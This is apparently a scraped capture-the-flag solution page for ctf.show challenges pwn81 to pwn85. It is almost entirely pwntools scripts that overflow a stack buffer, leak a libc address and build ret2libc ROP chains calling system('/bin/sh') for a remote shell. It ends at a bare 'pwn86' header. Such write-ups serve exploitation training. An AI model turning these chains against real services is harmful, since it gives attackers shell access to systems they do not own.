pwn81(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p = remote('pwn.challenge.ctf.show' , 28251 ) libc = ELF('./libc.so.6' ) p.recvuntil("Maybe it's simple,O.o\n" ) system = int (p.recvline(),16 ) log.success(hex (system)) libcbase = system - libc.sym['system' ] bin_sh_addr = libcbase + next (libc.search('/bin/sh' )) pop_rdi = libcbase + 0x2164f ret = libcbase + 0x8aa payload = cyclic(136 ) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system) p.send(payload) p.interactive()
pwn82(ret2libc + No RELRO) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28209 ) elf = ELF('../code/pwn' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] show_addr = elf.sym['show' ] p.recvuntil('Welcome to CTFshowPWN!\n' ) offset = 0x6C + 4 payload = b'a' * offset + p32(write_plt) + p32(show_addr) + p32(1 ) + p32(write_got) + p32(10 ) p.sendline(payload) write_addr = u32(p.recvuntil('\xf7' )) log.success(hex (write_addr)) libc = LibcSearcher('write' , write_addr) libcbase = write_addr - libc.dump('write' ) system = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * offset + p32(system) + p32(show_addr) + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
pwn83(ret2libc + Partial RELRO) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28178 ) elf = ELF('../code/pwn' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] show_addr = elf.sym['show' ] p.recvuntil('Welcome to CTFshowPWN!\n' ) offset = 0x6C + 4 payload = b'a' * offset + p32(write_plt) + p32(show_addr) + p32(1 ) + p32(write_got) + p32(10 ) p.sendline(payload) write_addr = u32(p.recvuntil('\xf7' )) log.success(hex (write_addr)) libc = LibcSearcher('write' , write_addr) libcbase = write_addr - libc.dump('write' ) system = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * offset + p32(system) + p32(show_addr) + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
pwn84(ret2libc + No RELRO) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28235 ) elf = ELF('../code/pwn' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] show_addr = elf.sym['show' ] p.recvuntil('Welcome to CTFshowPWN!\n' ) offset = 0x70 + 8 pop_rdi = 0x400773 pop_rsi_r15 = 0x400771 payload = b'a' * offset + p64(pop_rdi) + p64(1 ) + p64(pop_rsi_r15) + p64(write_got) + p64(0 ) + p64(write_plt) + p64(show_addr) p.sendline(payload) write_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.success(hex (write_addr)) libc = LibcSearcher('write' , write_addr) libcbase = write_addr - libc.dump('write' ) system = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(system) p.sendline(payload2) p.interactive()
pwn85(ret2libc + Partial RELRO) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28267 ) elf = ELF('../code/pwn' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] show_addr = elf.sym['show' ] p.recvuntil('Welcome to CTFshowPWN!\n' ) offset = 0x70 + 8 pop_rdi = 0x4007a3 pop_rsi_r15 = 0x4007a1 payload = b'a' * offset + p64(pop_rdi) + p64(1 ) + p64(pop_rsi_r15) + p64(write_got) + p64(0 ) + p64(write_plt) + p64(show_addr) p.sendline(payload) write_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.success(hex (write_addr)) libc = LibcSearcher('write' , write_addr) libcbase = write_addr - libc.dump('write' ) system = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(system) p.sendline(payload2) p.interactive()
pwn86